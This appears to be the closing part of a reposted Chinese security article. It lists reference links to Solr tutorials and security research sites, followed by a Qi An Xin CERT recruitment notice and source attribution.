https://www.ebounce.cn/web/73.html

https://developer.aliyun.com/article/616505

https://www.jianshu.com/p/d3d83b6cb17c

https://www.cnblogs.com/leeSmall/p/8992708.html

https://zhouj000.github.io/2019/01/24/solr-6/

https://juejin.im/post/6844903949116391431

http://codingdict.com/article/9427

https://xz.aliyun.com/t/2448

https://xz.aliyun.com/t/1523#toc-1

https://paper.seebug.org/1009/

https://xz.aliyun.com/t/4422

⬇️⬇️或者……不考虑加入我们吗?⬇️⬇️

奇安信CERT长期招募安全研究员

↓↓↓向下滑动图片了解更多↓↓↓


文章来源: http://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247493149&idx=1&sn=60e1253e8e3bada902f2a9f62282487d&chksm=fe79c285c90e4b93787cbd82a15cc33a4330db9cfb76f346e72fe1e7124f9f86d7927338fdc8&mpshare=1&scene=24&srcid=0317d18uBRYb9VedB02icwml&sharer_sharetime=1615982540820&sharer_shareid=5191b3dcb328f693d5261ba6bca8d267#rd
如有侵权请联系:admin#unsafe.sh